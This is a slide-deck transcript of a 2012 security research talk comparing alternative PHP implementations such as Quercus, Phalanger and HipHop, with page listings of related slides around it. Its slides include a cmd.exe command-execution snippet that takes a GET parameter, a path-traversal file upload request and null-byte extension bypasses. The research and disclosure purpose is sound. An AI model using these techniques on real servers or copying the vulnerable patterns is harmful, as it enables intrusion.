SlideShare une entreprise Scribd logo
1  sur  43
Not all PHP implementations are
equally useful



                           Sergey Scherbel
                      Positive Technologies
                                 May 2012
Intro: PHP


              A few words about PHP:



   one of the most popular script languages

   is quickly improved

   has an adaptable syntax

   there are a number of various CMS and CMF on PHP

At the same time:
   efficiency of PHP interpreter is not high



But efficiency is critical for a great number of projects...
Intro: PHP


But you can create your own PHP! 
Alternative PHP implementations


There are several alternative PHP implementations. As a rule, these
implementations compile PHP scripts into a machine-code form.



Lets consider the following implementations:

   Roadsend PHP (PHP -> C -> machine code)

   Phalanger (PHP -> Microsoft IL)

   Quercus on Resin (PHP -> JVM)

   PHC (PHP -> C -> machine code)

   HipHop (PHP -> C++ -> machine code)
Roadsend PHP


                     Roadsend PHP compiler allows you to create
                     executable files. It also includes embedded
                     MicroServer web server.




Variants of run:

   the executable + web server + FastCGI = web application

   the executable + MicroServer = web application
Phalanger


              Phalanger is a PHP compiler for .NET.




    supports full compatibility with .NET
    is compatible with a great number of PHP applications
    allows users to address .NET classes
Quercus on Resin

Resin is a web server and Java application server designed by Caucho
Technology.


The web server includes a special PHP implementation named Quercus.


The web server is released in 2 versions:

    Professional: PHP is compiled into Java byte code

    Open Source: PHP is executed by the interpreter
HipHop


 HipHop is a source code translator designed by Facebook.


 Features:

     PHP is translated into a temporary C++ code
     The temporary code is compiled via g++
     The result includes the web server

 ./program -m server --port 8080



 There is also HPHPi that is a PHP interpreter that allows script
 execution without compilation.
HipHop




                                        Files that are the result
                                        of compilation




 So, the size of an elementary PHP
 script after compilation is ~ 30 MB!
HipHop

You can eliminate several types of vulnerabilities in case an application is
compiled but not interpret!


Local File Inclusion:
    There is no way to connect arbitrary files
    You can connect only the scripts that were included while compilation


Arbitrary File Loading:
    PHP script loading does not result in desired effect – the script may
    not be run
    Possible exploitation – load a HTML page and then attack clients
What are the key items?


   Environment vulnerabilities (embedded web server, etc.)


   Parameter Handling

   HTTP Parameter Pollution
   HTTP Parameter Contamination

   Cross-technology vulnerabilities (PHP + .NET = ???)


   Vulnerabilities in PHP old versions (a legendary ones )
Environment vulnerabilities
Roadsend PHP MicroServer: Path Traversal


Embedded web server incorrectly handles file names.
Roadsend PHP MicroServer: Path Traversal


This is also possible 
Parameter Handling
HTTP Parameter Contamination

Various platforms and applications handle incorrect characters
in parameters in different ways.
The attack is used to bypass various filters (WAF).


We compare:

   usual LAMP (a master platform)

   Win7 + IIS 7.5 + Phalanger 3.0

   Linux + HipHop

   Linux + Quercus on Resin (different versions)
HTTP Parameter Contamination

We immediately find differences with LAMP platform!



                                  Quercus on Resin     Quercus on Resin
    Request           LAMP
                                       3.1.12               4.0.26
                  Array         Array                Array
                  (                                  (
                                (
 test.php?a&b=1      [a] =>                             [a] =>
                                   [a&b] => 1
                     [b] => 1                           [b] => 1
                  )             )                    )
                  Array         Array                Array
                  (             (                    (
 test.php?a=1&b      [a] => 1      [a] => 1             [a] => 1
                     [b] =>        [b] =>               [b] =>
                  )             )                    )
HTTP Parameter Contamination

                                                                        Quercus on
                                      IIS 7.5 +
    Request           LAMP                             HipHop            Resin <=
                                    Phalanger 3.0
                                                                          4.0.26
                                    Array                             Array
                  Array                             Array
                                    (                                 (
 test.php?=       (                                 (
                                       [] =>                             [] =>
                  )                                 )
                                    )                                 )
                                    Array                             Array
                  Array                             Array
                                    (                                 (
 test.php?[]=     (                                 (
                                       [[]] =>                           [0] =>
                  )                                 )
                                    )                                 )
                  Array                             Array
                  (                                 (
                     [a] => Array                      [a] => Array
 test.php?a[][=         (           Error 500             (           Error 500
                          [0] =>                            [0] =>
                        )                                 )
                   )                                 )
HTTP Parameter Contamination

Error 500 in IIS 7.5 + Phalanger 3.0
HTTP Parameter Contamination

Error 500 in Quercus on Resin
HTTP Parameter Contamination

                                     IIS 7.5 +                      Quercus on
       Query           LAMP                           HipHop
                                   Phalanger 3.0                    Resin 4.0.26
                    Array          Array           Array          Array
                    (              (               (              (
 test.php?a%=1
                       [a%] => 1      [a%] => 1       [a%] => 1      [a�] =>
                    )              )               )              )
                    Array          Array           Array          Array
                    (              (               (              (
 test.php?a =1
                       [a_] => 1      [a ] => 1       [a_] => 1      [a ] => 1
                    )              )               )              )
                    Array          Array           Array          Array
                    (              (               (              (
 test.php?a.=1
                       [a_] => 1      [a_] => 1       [a_] => 1      [a_] => 1
                    )              )               )              )
                    Array          Array           Array          Array
                    (              (               (              (
 test.php?a%00b=1
                       [a] => 1       [a�b] => 1      [a] => 1       [a�b] => 1
                    )              )               )              )


 Only HipHop results coincide with the master platform.
Special practices for OS Windows

 File functions in Phalanger incorrectly handle characters reserved for OS («:» +
 another special character, i.e.: «|»).
Global variables

The possibility to set variable values directly is a flaw in web application
security.


<?php
include($path. ".inc");
?>

You can call the script directly and define an arbitrary value that results
in code execution (RFI, LFI).

     register_globals option is responsible for a possibility to set variable
     values directly

     PHP 5.4.0 does not include register_globals option.
Global variables <= Quercus on Resin 4.0.26

   Quercus does not include register_globals option (developers
   name it a ‘black hole’ in security), an error occurs in case you
   try to set it.




   In case parameters are sent via POST method, they become
   global!
Global variables <= Quercus on Resin 4.0.26
Rewriting of variables <= Quercus on Resin 4.0.26

Parameters sent in POST method, are handled incorrectly – it is possible
to rewrite variables in _SERVER array!
Rewriting of variables <= Quercus on Resin 4.0.26


  Attack vector is rewriting of _SERVER array elements that include the
  script absolute path.

  As a rule, _SERVER array elements are used in script connection and
  file system functions.

  Rewriting of variables allows an attacker to conduct a number of
  attacks, i.e. Local File Inclusion.



  <?php
  include($_SERVER["DOCUMENT_ROOT"]."header.php");
  ?>
Rewriting of variables <= Quercus on Resin 4.0.26

Rewriting of variables allows you   to set   an   arbitrary   value   for
$_SERVER["DOCUMENT_ROOT"].
Loose comparison of variables of various types

Loose comparison is a comparison with ==

Loose comparison of parameters in PHP is implemented with several
features:
Loose comparison of variables of various types

   A great number of PHP applications consider these features.

   In case the behavior changes, results are not predictable…




 We monitor if the features are actual…

 and find some curious things 
Loose comparison of variables of various types

Script #1:
<?php
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
         if($x == array()) { echo("TRUE"); } else { echo("FALSE"); }
         echo("<br>");
}
?>


Script #2:
<?php
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
         if(array() == $x) { echo("TRUE"); } else { echo("FALSE"); }
         echo("<br>");
}
?>
== equals | Quercus on Resin

             Script #1 (resin 3.1.12)        Script #1 (resin 4.0.26)          Script #2
   TRUE               FALSE                           FALSE                      TRUE
  FALSE                TRUE                           TRUE                       TRUE
    1                 FALSE                           TRUE                       TRUE
    0                  TRUE                           TRUE                       TRUE
    -1                FALSE                           TRUE                       TRUE
   "1"                FALSE                           FALSE                      TRUE
   "0"                FALSE                           FALSE                      TRUE
   "-1"               FALSE                           FALSE                      TRUE
   NULL                TRUE                           TRUE                       TRUE
  array()              TRUE                           TRUE                       TRUE
  "php"               FALSE                           FLASE                      TRUE
    ""                FALSE                           FLASE                      TRUE

    It is clear that the result of comparison depends on the sequence of compared variables.
    This behavior is not usual for an ordinary PHP interpreter.

    Also, the result of all comparisons of array() and 0 is true (TRUE), this is not usual for
    an ordinary PHP interpreter.
== equals | Quercus on Resin

Then, we carried out the detailed analysis of loose comparisons for arrays with
variables of different types:


<?php
$test = …
$xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", "");
foreach($xArray as $x) {
            if($test == $x) { echo("TRUE"); } else { echo("FALSE"); }
            echo("<br>");
}
?>


In case an empty array is sent:


http://192.168.67.139:8080/test.php?test[]=


, its type is defined as array(1) { [0]=> string(0) "" } – and this is a usual behavior for PHP. The
comparison results for this type of parameters with parameters of other types are the most
interesting.
== equals | Quercus on Resin

                           $test = array()               $test = array(0 => "")
    $x = TRUE                   TRUE                             TRUE
    $x = FALSE                  TRUE                             TRUE
      $x = 1                    TRUE                             TRUE
      $x = 0                    TRUE                             TRUE
      $x = -1                   TRUE                             TRUE
     $x = "1"                   TRUE                             FALSE
     $x = "0"                   TRUE                             FALSE
     $x = "-1"                  TRUE                             FALSE
    $x = NULL                   TRUE                             TRUE
   $x = array()                 TRUE                             TRUE
    $x = "php"                  TRUE                             FALSE
      $x = ""                   TRUE                             TRUE


    The results greatly differ from the expected ones.

    Script behavior is not predictable, a number of vulnerabilities can occur!
Cross-technology vulnerabilities
open_basedir/safe mode bypass | Phalanger 3.0

 Phalanger allows you to access .NET classes, that can lead to security
 restriction bypass.

 Defined security restrictions (i.e., disable_functions) are usually not
 considered in .NET constructions:


 <?php
 $process = new DiagnosticsProcess();
 $process->StartInfo->FileName = "cmd.exe";
 $process->StartInfo->WorkingDirectory = "C:";
 $process->StartInfo->Arguments = "/c ".$_GET["cmd"];
 $process->Start();
 $process->WaitForExit();
 ?>
Vulnerabilities in PHP old versions




 Legendary vulnerabilities...
XSS in Error Message | Quercus on Resin | Roadsend

Special characters are not replaced by HTML equivalents in error
messages that means the an error message is an XSS.
File Loading: Path Traversal | Quercus on Resin 3.1.12

There is possible exploitation of Path Traversal because of incorrect
handling of loaded file name.


Example of HTTP query:
POST http://192.168.67.139:8080/test/file.php HTTP/1.1
…
Content-Type: multipart/form-data; boundary=---------------------------101412320927450
Content-Length: 228


-----------------------------101412320927450rn
Content-Disposition: form-data; name="test"; filename="../shell.php"rn
Content-Type: application/octet-streamrn
rn
<?phprn
phpinfo();rn
?>rn
-----------------------------101412320927450--rn
File Loading: Null Byte | Quercus on Resin

Incorrect file name handling that is loaded on the server an attacker
can discard postfixes (i.e., .jpg) with NULL byte.
File Loading: Null Byte | Quercus on Resin

As a result, Extension Checks Bypass is possible.


<?php
if(isset($_FILES["image"])) {
        if(!preg_match("#.(jpg|png|gif)$#", $_FILES["image"]["name"])) {
                 die("Hacking attempt!");}


        copy($_FILES["image"]["tmp_name"],
                 "./uploads/".$_FILES["image"]["name"]
        );
}
?>
Results

All third-party implementations are more efficient, have more features,
but the back side is security.
    Environmental vulnerabilities
    HTTP Parameter Contamination
    Path Traversal
    logic violations
    etc


The most vulnerable implementation is Quercus on Resin.
The most secure implementation is HipHop. Its results not only coincide
with the master platform but even exceed standard PHP implementation.
Thank you for your
    attention!

    Questions?

Contenu connexe

Tendances

Productive Programming in Java 8 - with Lambdas and Streams
Productive Programming in Java 8 - with Lambdas and Streams Productive Programming in Java 8 - with Lambdas and Streams
Productive Programming in Java 8 - with Lambdas and Streams Ganesh Samarthyam
 
Parallel-Ready Java Code: Managing Mutation in an Imperative Language
Parallel-Ready Java Code: Managing Mutation in an Imperative LanguageParallel-Ready Java Code: Managing Mutation in an Imperative Language
Parallel-Ready Java Code: Managing Mutation in an Imperative LanguageMaurice Naftalin
 
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...Maurice Naftalin
 
Streams: The Good, The Bad And The Ugly
Streams: The Good, The Bad And The UglyStreams: The Good, The Bad And The Ugly
Streams: The Good, The Bad And The UglySimon Ritter
 
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streams
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streamsTech talks annual 2015 kirk pepperdine_ripping apart java 8 streams
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streamsTechTalks
 
Scala parsers Error Recovery in Production
Scala parsers Error Recovery in ProductionScala parsers Error Recovery in Production
Scala parsers Error Recovery in ProductionAlexander Azarov
 
Lessons Learnt With Lambdas and Streams in JDK 8
Lessons Learnt With Lambdas and Streams in JDK 8Lessons Learnt With Lambdas and Streams in JDK 8
Lessons Learnt With Lambdas and Streams in JDK 8Simon Ritter
 
Kotlin Receiver Types 介紹
Kotlin Receiver Types 介紹Kotlin Receiver Types 介紹
Kotlin Receiver Types 介紹Kros Huang
 
New Features in JDK 8
New Features in JDK 8New Features in JDK 8
New Features in JDK 8Martin Toshev
 
Functional Programming In Java
Functional Programming In JavaFunctional Programming In Java
Functional Programming In JavaAndrei Solntsev
 
Lambdas Hands On Lab
Lambdas Hands On LabLambdas Hands On Lab
Lambdas Hands On LabSimon Ritter
 
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)Uri Laserson
 
Debugging of (C)Python applications
Debugging of (C)Python applicationsDebugging of (C)Python applications
Debugging of (C)Python applicationsRoman Podoliaka
 
It's Java Jim, But Not As We Know It!
It's Java Jim, But Not As We Know It!It's Java Jim, But Not As We Know It!
It's Java Jim, But Not As We Know It!Simon Ritter
 
Internship final report@Treasure Data Inc.
Internship final report@Treasure Data Inc.Internship final report@Treasure Data Inc.
Internship final report@Treasure Data Inc.Ryuichi ITO
 
Journey's End – Collection and Reduction in the Stream API
Journey's End – Collection and Reduction in the Stream APIJourney's End – Collection and Reduction in the Stream API
Journey's End – Collection and Reduction in the Stream APIMaurice Naftalin
 

Tendances (20)

Callbacks part2
Callbacks part2Callbacks part2
Callbacks part2
 
Productive Programming in Java 8 - with Lambdas and Streams
Productive Programming in Java 8 - with Lambdas and Streams Productive Programming in Java 8 - with Lambdas and Streams
Productive Programming in Java 8 - with Lambdas and Streams
 
Parallel-Ready Java Code: Managing Mutation in an Imperative Language
Parallel-Ready Java Code: Managing Mutation in an Imperative LanguageParallel-Ready Java Code: Managing Mutation in an Imperative Language
Parallel-Ready Java Code: Managing Mutation in an Imperative Language
 
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...
Good and Wicked Fairies, and the Tragedy of the Commons: Understanding the Pe...
 
Streams: The Good, The Bad And The Ugly
Streams: The Good, The Bad And The UglyStreams: The Good, The Bad And The Ugly
Streams: The Good, The Bad And The Ugly
 
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streams
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streamsTech talks annual 2015 kirk pepperdine_ripping apart java 8 streams
Tech talks annual 2015 kirk pepperdine_ripping apart java 8 streams
 
Scala parsers Error Recovery in Production
Scala parsers Error Recovery in ProductionScala parsers Error Recovery in Production
Scala parsers Error Recovery in Production
 
Lessons Learnt With Lambdas and Streams in JDK 8
Lessons Learnt With Lambdas and Streams in JDK 8Lessons Learnt With Lambdas and Streams in JDK 8
Lessons Learnt With Lambdas and Streams in JDK 8
 
Kotlin Receiver Types 介紹
Kotlin Receiver Types 介紹Kotlin Receiver Types 介紹
Kotlin Receiver Types 介紹
 
New Features in JDK 8
New Features in JDK 8New Features in JDK 8
New Features in JDK 8
 
Functional Programming In Java
Functional Programming In JavaFunctional Programming In Java
Functional Programming In Java
 
Lambdas Hands On Lab
Lambdas Hands On LabLambdas Hands On Lab
Lambdas Hands On Lab
 
SmokeTests
SmokeTestsSmokeTests
SmokeTests
 
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)
Numba-compiled Python UDFs for Impala (Impala Meetup 5/20/14)
 
Hot Streaming Java
Hot Streaming JavaHot Streaming Java
Hot Streaming Java
 
Java concurrency questions and answers
Java concurrency questions and answers Java concurrency questions and answers
Java concurrency questions and answers
 
Debugging of (C)Python applications
Debugging of (C)Python applicationsDebugging of (C)Python applications
Debugging of (C)Python applications
 
It's Java Jim, But Not As We Know It!
It's Java Jim, But Not As We Know It!It's Java Jim, But Not As We Know It!
It's Java Jim, But Not As We Know It!
 
Internship final report@Treasure Data Inc.
Internship final report@Treasure Data Inc.Internship final report@Treasure Data Inc.
Internship final report@Treasure Data Inc.
 
Journey's End – Collection and Reduction in the Stream API
Journey's End – Collection and Reduction in the Stream APIJourney's End – Collection and Reduction in the Stream API
Journey's End – Collection and Reduction in the Stream API
 

En vedette

Pf congres20110917 data-structures
Pf congres20110917 data-structuresPf congres20110917 data-structures
Pf congres20110917 data-structuresnorm2782
 
New SPL Features in PHP 5.3
New SPL Features in PHP 5.3New SPL Features in PHP 5.3
New SPL Features in PHP 5.3Matthew Turland
 
SPL: The Undiscovered Library - DataStructures
SPL: The Undiscovered Library -  DataStructuresSPL: The Undiscovered Library -  DataStructures
SPL: The Undiscovered Library - DataStructuresMark Baker
 
паттерны проектирования
паттерны проектированияпаттерны проектирования
паттерны проектированияAlex Mamonchik
 

En vedette (6)

Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09
 
SPL Datastructures
SPL DatastructuresSPL Datastructures
SPL Datastructures
 
Pf congres20110917 data-structures
Pf congres20110917 data-structuresPf congres20110917 data-structures
Pf congres20110917 data-structures
 
New SPL Features in PHP 5.3
New SPL Features in PHP 5.3New SPL Features in PHP 5.3
New SPL Features in PHP 5.3
 
SPL: The Undiscovered Library - DataStructures
SPL: The Undiscovered Library -  DataStructuresSPL: The Undiscovered Library -  DataStructures
SPL: The Undiscovered Library - DataStructures
 
паттерны проектирования
паттерны проектированияпаттерны проектирования
паттерны проектирования
 

Similaire à Not All PHP Implementations Are Equally Useful

Beyond Java: 자바 8을 중심으로 본 자바의 혁신
Beyond Java: 자바 8을 중심으로 본 자바의 혁신Beyond Java: 자바 8을 중심으로 본 자바의 혁신
Beyond Java: 자바 8을 중심으로 본 자바의 혁신Sungchul Park
 
Jug Marche: Meeting June 2014. Java 8 hands on
Jug Marche: Meeting June 2014. Java 8 hands onJug Marche: Meeting June 2014. Java 8 hands on
Jug Marche: Meeting June 2014. Java 8 hands onOnofrio Panzarino
 
Testing in Python: doctest and unittest (Updated)
Testing in Python: doctest and unittest (Updated)Testing in Python: doctest and unittest (Updated)
Testing in Python: doctest and unittest (Updated)Fariz Darari
 
Introduction To PHP
Introduction To PHPIntroduction To PHP
Introduction To PHPShweta A
 
Test in action week 2
Test in action   week 2Test in action   week 2
Test in action week 2Yi-Huan Chan
 
Testing in Python: doctest and unittest
Testing in Python: doctest and unittestTesting in Python: doctest and unittest
Testing in Python: doctest and unittestFariz Darari
 
Using Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesUsing Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesRaimonds Simanovskis
 
Introduction to Apache Flink - Fast and reliable big data processing
Introduction to Apache Flink - Fast and reliable big data processingIntroduction to Apache Flink - Fast and reliable big data processing
Introduction to Apache Flink - Fast and reliable big data processingTill Rohrmann
 
Performance and Scalability Testing with Python and Multi-Mechanize
Performance and Scalability Testing with Python and Multi-MechanizePerformance and Scalability Testing with Python and Multi-Mechanize
Performance and Scalability Testing with Python and Multi-Mechanizecoreygoldberg
 
Hsc IT 5. Server-Side Scripting (PHP).pdf
Hsc IT 5. Server-Side Scripting (PHP).pdfHsc IT 5. Server-Side Scripting (PHP).pdf
Hsc IT 5. Server-Side Scripting (PHP).pdfAAFREEN SHAIKH
 
PHPUnit best practices presentation
PHPUnit best practices presentationPHPUnit best practices presentation
PHPUnit best practices presentationThanh Robi
 
Evolutionary Testing for Crash Reproduction
Evolutionary Testing for Crash ReproductionEvolutionary Testing for Crash Reproduction
Evolutionary Testing for Crash ReproductionAnnibale Panichella
 
Functional Thinking for Java Developers (presented in Javafest Bengaluru)
Functional Thinking for Java Developers (presented in Javafest Bengaluru)Functional Thinking for Java Developers (presented in Javafest Bengaluru)
Functional Thinking for Java Developers (presented in Javafest Bengaluru)KonfHubTechConferenc
 
High-level Programming Languages: Apache Pig and Pig Latin
High-level Programming Languages: Apache Pig and Pig LatinHigh-level Programming Languages: Apache Pig and Pig Latin
High-level Programming Languages: Apache Pig and Pig LatinPietro Michiardi
 
Rxjava 介紹與 Android 中的 RxJava
Rxjava 介紹與 Android 中的 RxJavaRxjava 介紹與 Android 中的 RxJava
Rxjava 介紹與 Android 中的 RxJavaKros Huang
 

Similaire à Not All PHP Implementations Are Equally Useful (20)

Beyond Java: 자바 8을 중심으로 본 자바의 혁신
Beyond Java: 자바 8을 중심으로 본 자바의 혁신Beyond Java: 자바 8을 중심으로 본 자바의 혁신
Beyond Java: 자바 8을 중심으로 본 자바의 혁신
 
Practice exam php
Practice exam phpPractice exam php
Practice exam php
 
Php Intermediate
Php IntermediatePhp Intermediate
Php Intermediate
 
Jug Marche: Meeting June 2014. Java 8 hands on
Jug Marche: Meeting June 2014. Java 8 hands onJug Marche: Meeting June 2014. Java 8 hands on
Jug Marche: Meeting June 2014. Java 8 hands on
 
Testing in Python: doctest and unittest (Updated)
Testing in Python: doctest and unittest (Updated)Testing in Python: doctest and unittest (Updated)
Testing in Python: doctest and unittest (Updated)
 
Introduction To PHP
Introduction To PHPIntroduction To PHP
Introduction To PHP
 
R Apache
R ApacheR Apache
R Apache
 
Test in action week 2
Test in action   week 2Test in action   week 2
Test in action week 2
 
Testing in Python: doctest and unittest
Testing in Python: doctest and unittestTesting in Python: doctest and unittest
Testing in Python: doctest and unittest
 
Using Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databasesUsing Ruby on Rails with legacy Oracle databases
Using Ruby on Rails with legacy Oracle databases
 
Introduction to Apache Flink - Fast and reliable big data processing
Introduction to Apache Flink - Fast and reliable big data processingIntroduction to Apache Flink - Fast and reliable big data processing
Introduction to Apache Flink - Fast and reliable big data processing
 
Performance and Scalability Testing with Python and Multi-Mechanize
Performance and Scalability Testing with Python and Multi-MechanizePerformance and Scalability Testing with Python and Multi-Mechanize
Performance and Scalability Testing with Python and Multi-Mechanize
 
Hsc IT 5. Server-Side Scripting (PHP).pdf
Hsc IT 5. Server-Side Scripting (PHP).pdfHsc IT 5. Server-Side Scripting (PHP).pdf
Hsc IT 5. Server-Side Scripting (PHP).pdf
 
PHPUnit best practices presentation
PHPUnit best practices presentationPHPUnit best practices presentation
PHPUnit best practices presentation
 
Evolutionary Testing for Crash Reproduction
Evolutionary Testing for Crash ReproductionEvolutionary Testing for Crash Reproduction
Evolutionary Testing for Crash Reproduction
 
Testing untestable code - DPC10
Testing untestable code - DPC10Testing untestable code - DPC10
Testing untestable code - DPC10
 
Functional Thinking for Java Developers (presented in Javafest Bengaluru)
Functional Thinking for Java Developers (presented in Javafest Bengaluru)Functional Thinking for Java Developers (presented in Javafest Bengaluru)
Functional Thinking for Java Developers (presented in Javafest Bengaluru)
 
High-level Programming Languages: Apache Pig and Pig Latin
High-level Programming Languages: Apache Pig and Pig LatinHigh-level Programming Languages: Apache Pig and Pig Latin
High-level Programming Languages: Apache Pig and Pig Latin
 
What is new in Java 8
What is new in Java 8What is new in Java 8
What is new in Java 8
 
Rxjava 介紹與 Android 中的 RxJava
Rxjava 介紹與 Android 中的 RxJavaRxjava 介紹與 Android 中的 RxJava
Rxjava 介紹與 Android 中的 RxJava
 

Plus de Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

Plus de Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
